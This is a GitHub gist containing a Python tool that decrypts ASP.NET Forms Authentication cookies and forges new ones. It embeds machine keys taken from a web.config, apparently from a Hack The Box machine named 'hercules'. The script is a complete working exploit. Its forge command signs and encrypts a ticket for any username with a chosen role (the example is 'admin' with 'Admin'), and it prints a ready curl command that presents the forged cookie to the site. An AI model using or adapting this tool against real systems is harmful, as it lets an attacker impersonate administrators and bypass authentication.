Skip to content

Instantly share code, notes, and snippets.

@sofianeelhor
Created October 19, 2025 16:52
Show Gist options
  • Select an option

  • Save sofianeelhor/e62c457580c5dfa26a9fb22db43ecc67 to your computer and use it in GitHub Desktop.

Select an option

Save sofianeelhor/e62c457580c5dfa26a9fb22db43ecc67 to your computer and use it in GitHub Desktop.

Revisions

  1. sofianeelhor created this gist Oct 19, 2025.
    306 changes: 306 additions & 0 deletions formaspcookie.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,306 @@
    #!/usr/bin/env python3
    """
    # Decrypt original cookie
    python ticket_tool.py decrypt 0612BC595BE85DA14751A4494CDACC202C5D62E2F601C2B3096053B941D32B2141A53D7F4AE73004F48EB62FDD68CAEBE0E930D54935C1D23368347BE090DB64ACFFF63C108EE44B8B83D8C5045CF27F4DD48C3D7E54A05DBE1F8D914E7D283E54AAAE1323C92ACFEDBE21EF749A3119A02856A21309148EF3C33E6B2215C2DDC735A21E5B6BEFCC3846812BB7FCD3F8A424567F78A432D2299388F0979EC799
    # Forge admin ticket
    python formaspcookie.py forge admin --user-data "Admin" --persistent --expiry-min 1440
    """

    import argparse
    import binascii
    import hmac
    import hashlib
    import struct
    import sys
    from datetime import datetime, timedelta
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.primitives import padding
    from cryptography.hazmat.backends import default_backend
    import os

    # Default keys from web.config
    DEFAULT_DEC_KEY_HEX = "B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581"
    DEFAULT_VAL_KEY_HEX = "EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80"

    HEADER_SIZE = 32 # Purpose (20B) + salt (12B)
    SIG_SIZE = 32 # HMACSHA256
    IV = b'\x00' * 16
    PURPOSE = b'FormsAuthentication\x00\x00\x00' # Fixed for FormsAuth

    def ticks_to_datetime(ticks):
    """Convert .NET ticks (100ns since 0001-01-01) to datetime."""
    epoch = datetime(1, 1, 1)
    return epoch + timedelta(microseconds=ticks // 10)

    def datetime_to_ticks(dt):
    """Convert datetime (UTC) to .NET ticks."""
    epoch = datetime(1, 1, 1)
    delta = dt - epoch
    return int(delta.total_seconds() * 10000000)

    def read_7bit_string(data, pos):
    """Read 7-bit encoded length + UTF-16LE string."""
    if pos >= len(data):
    return None, pos
    length = 0
    shift = 0
    while True:
    if pos >= len(data):
    return None, pos
    b = data[pos]
    pos += 1
    length |= (b & 0x7F) << shift
    if (b & 0x80) == 0:
    break
    shift += 7
    str_len = length * 2
    if pos + str_len > len(data):
    return None, pos
    str_bytes = data[pos:pos + str_len]
    s = ''.join(chr(b1 + (b2 << 8)) for b1, b2 in zip(str_bytes[0::2], str_bytes[1::2]))
    pos += str_len
    return s, pos

    def write_7bit_string(s):
    """Write UTF-16LE string with 7-bit encoded length."""
    utf16_bytes = s.encode('utf-16le')
    length = len(utf16_bytes) // 2
    encoded_len = bytearray()
    temp = length
    while True:
    encoded_len.insert(0, temp & 0x7F)
    if temp & 0x7F == temp:
    break
    encoded_len[0] |= 0x80
    temp >>= 7
    return bytes(encoded_len) + utf16_bytes

    def decrypt_ticket(encrypted_hex, dec_key_hex, val_key_hex, verbose=False):
    """Decrypt and parse the ticket."""
    try:
    cookie_bytes = binascii.unhexlify(encrypted_hex)
    dec_key = binascii.unhexlify(dec_key_hex)
    val_key = binascii.unhexlify(val_key_hex)

    if len(cookie_bytes) < SIG_SIZE:
    raise ValueError("Ticket too short for signature.")

    payload = cookie_bytes[:-SIG_SIZE]
    signature = cookie_bytes[-SIG_SIZE:]

    # Validate HMAC
    h = hmac.new(val_key, payload, hashlib.sha256)
    if h.digest() != signature:
    raise ValueError("Invalid signature!")

    if verbose:
    print("Signature valid.")

    # Decrypt AES-256-CBC
    cipher = Cipher(algorithms.AES(dec_key), modes.CBC(IV), backend=default_backend())
    decryptor = cipher.decryptor()
    decrypted_padded = decryptor.update(payload) + decryptor.finalize()

    # Unpad PKCS7
    unpadder = padding.PKCS7(128).unpadder()
    decrypted = unpadder.update(decrypted_padded) + unpadder.finalize()

    if verbose:
    print(f"Raw decrypted (hex): {binascii.hexlify(decrypted).decode()}")

    # Skip header
    if len(decrypted) < HEADER_SIZE:
    raise ValueError("Decrypted data too short for header.")
    data = decrypted[HEADER_SIZE:]

    # Parse binary
    pos = 0
    if pos >= len(data) or data[pos] != 1:
    raise ValueError("Invalid format version (expected 0x01).")
    pos += 1
    ticket_version = data[pos]
    pos += 1

    if pos + 8 > len(data):
    raise ValueError("Truncated: issue ticks.")
    issue_ticks = struct.unpack('<Q', data[pos:pos+8])[0]
    pos += 8

    if pos >= len(data) or data[pos] != 0xFE:
    raise ValueError("Invalid spacer (expected 0xFE).")
    pos += 1

    if pos + 8 > len(data):
    raise ValueError("Truncated: expiration ticks.")
    expiration_ticks = struct.unpack('<Q', data[pos:pos+8])[0]
    pos += 8

    if pos >= len(data):
    raise ValueError("Truncated: persistent flag.")
    is_persistent = bool(data[pos])
    pos += 1

    name, pos = read_7bit_string(data, pos)
    if name is None:
    raise ValueError("Failed to parse name.")

    user_data, pos = read_7bit_string(data, pos)
    if user_data is None:
    raise ValueError("Failed to parse user data.")

    cookie_path, pos = read_7bit_string(data, pos)
    if cookie_path is None:
    raise ValueError("Failed to parse cookie path.")

    if pos >= len(data) or data[pos] != 0xFF:
    raise ValueError("Invalid footer (expected 0xFF).")
    pos += 1

    if pos < len(data):
    if verbose:
    print(f"Trailing bytes (hex): {binascii.hexlify(data[pos:]).decode()}")

    # Convert ticks
    issue_date = ticks_to_datetime(issue_ticks)
    expiration_date = ticks_to_datetime(expiration_ticks)

    ticket = {
    'version': ticket_version,
    'name': name,
    'issue_date': issue_date,
    'expiration_date': expiration_date,
    'is_persistent': is_persistent,
    'user_data': user_data,
    'cookie_path': cookie_path
    }

    if verbose:
    print("\n--- Parsed Ticket ---")
    for k, v in ticket.items():
    print(f"{k}: {v}")
    print("--- End Ticket ---")

    return ticket

    except Exception as e:
    print(f"Decryption failed: {e}")
    return None

    def forge_ticket(username, user_data="Web Users", is_persistent=False, expiry_minutes=10, dec_key_hex=DEFAULT_DEC_KEY_HEX, val_key_hex=DEFAULT_VAL_KEY_HEX, fixed_header_hex=None, verbose=False):
    """Forge a new ticket."""
    dec_key = binascii.unhexlify(dec_key_hex)
    val_key = binascii.unhexlify(val_key_hex)

    # Timestamps
    now = datetime.utcnow()
    issue_ticks = datetime_to_ticks(now)
    exp_delta = timedelta(minutes=expiry_minutes)
    expiration_ticks = datetime_to_ticks(now + exp_delta)
    cookie_path = "/"

    # Serialize
    serialized = bytearray()
    serialized.append(1) # Format version
    serialized.append(1) # Ticket version
    serialized += struct.pack('<Q', issue_ticks)
    serialized.append(0xFE) # Spacer
    serialized += struct.pack('<Q', expiration_ticks)
    serialized.append(1 if is_persistent else 0)

    serialized += write_7bit_string(username)
    serialized += write_7bit_string(user_data)
    serialized += write_7bit_string(cookie_path)

    serialized.append(0xFF) # Footer

    # Header
    if fixed_header_hex:
    header = binascii.unhexlify(fixed_header_hex)
    if len(header) != HEADER_SIZE:
    raise ValueError(f"Fixed header must be {HEADER_SIZE} bytes ({HEADER_SIZE*2} hex chars).")
    else:
    salt = os.urandom(12)
    header = PURPOSE + salt

    full_serialized = header + bytes(serialized)

    if verbose:
    print(f"Header (hex): {binascii.hexlify(header).decode()}")
    print(f"Serialized payload (hex): {binascii.hexlify(bytes(serialized)).decode()}")

    # Pad
    padder = padding.PKCS7(128).padder()
    padded = padder.update(full_serialized) + padder.finalize()

    # Encrypt
    cipher = Cipher(algorithms.AES(dec_key), modes.CBC(IV), backend=default_backend())
    encryptor = cipher.encryptor()
    encrypted = encryptor.update(padded) + encryptor.finalize()

    # Sign
    h = hmac.new(val_key, encrypted, hashlib.sha256)
    signature = h.digest()

    # Combine
    ticket_bytes = encrypted + signature
    ticket_hex = binascii.hexlify(ticket_bytes).decode().upper()

    if verbose:
    print(f"\nVerification: Decrypting forged ticket...")
    forged_ticket = decrypt_ticket(ticket_hex, dec_key_hex, val_key_hex, verbose=False)
    if forged_ticket:
    print("Forge verified! Parsed back:", forged_ticket['name'], forged_ticket['user_data'])
    else:
    print("Forge verification failed!")

    return ticket_hex

    def main():
    parser = argparse.ArgumentParser(description="ASP.NET Forms Auth Ticket Tool")
    subparsers = parser.add_subparsers(dest='command', required=True)

    # Decrypt parser
    decrypt_parser = subparsers.add_parser('decrypt', help='Decrypt and parse a ticket')
    decrypt_parser.add_argument('encrypted_hex', help='Hex-encoded .ASPXAUTH cookie')
    decrypt_parser.add_argument('--keys', nargs=2, metavar=('DEC_KEY_HEX', 'VAL_KEY_HEX'), help='Override default keys')
    decrypt_parser.add_argument('--verbose', action='store_true', help='Verbose output')

    # Forge parser
    forge_parser = subparsers.add_parser('forge', help='Forge a new ticket')
    forge_parser.add_argument('username', help='Username for the ticket')
    forge_parser.add_argument('--user-data', default='Web Users', help='User data/roles (default: Web Users)')
    forge_parser.add_argument('--persistent', action='store_true', help='Make ticket persistent')
    forge_parser.add_argument('--expiry-min', type=int, default=10, help='Expiry in minutes (default: 10)')
    forge_parser.add_argument('--keys', nargs=2, metavar=('DEC_KEY_HEX', 'VAL_KEY_HEX'), help='Override default keys')
    forge_parser.add_argument('--fixed-header', help=f'Fixed 32-byte header hex (for replay; default: random salt)')
    forge_parser.add_argument('--verbose', action='store_true', help='Verbose output')

    args = parser.parse_args()

    dec_key_hex = args.keys[0] if args.keys else DEFAULT_DEC_KEY_HEX
    val_key_hex = args.keys[1] if args.keys else DEFAULT_VAL_KEY_HEX

    if args.command == 'decrypt':
    ticket = decrypt_ticket(args.encrypted_hex, dec_key_hex, val_key_hex, args.verbose)
    if ticket:
    print("\nTicket fields:")
    for k, v in ticket.items():
    print(f"{k}: {v}")
    elif args.command == 'forge':
    if args.fixed_header:
    fixed_header_hex = args.fixed_header
    else:
    fixed_header_hex = None
    ticket_hex = forge_ticket(
    args.username, args.user_data, args.persistent, args.expiry_min,
    dec_key_hex, val_key_hex, fixed_header_hex, args.verbose
    )
    print(f"\nForged .ASPXAUTH (hex): {ticket_hex}")
    print(f"Cookie header: Cookie: .ASPXAUTH={ticket_hex}")
    print("\nUsage example (curl):")
    print(f"curl -H 'Cookie: .ASPXAUTH={ticket_hex}' https://hercules.htb/")

    if __name__ == '__main__':
    main()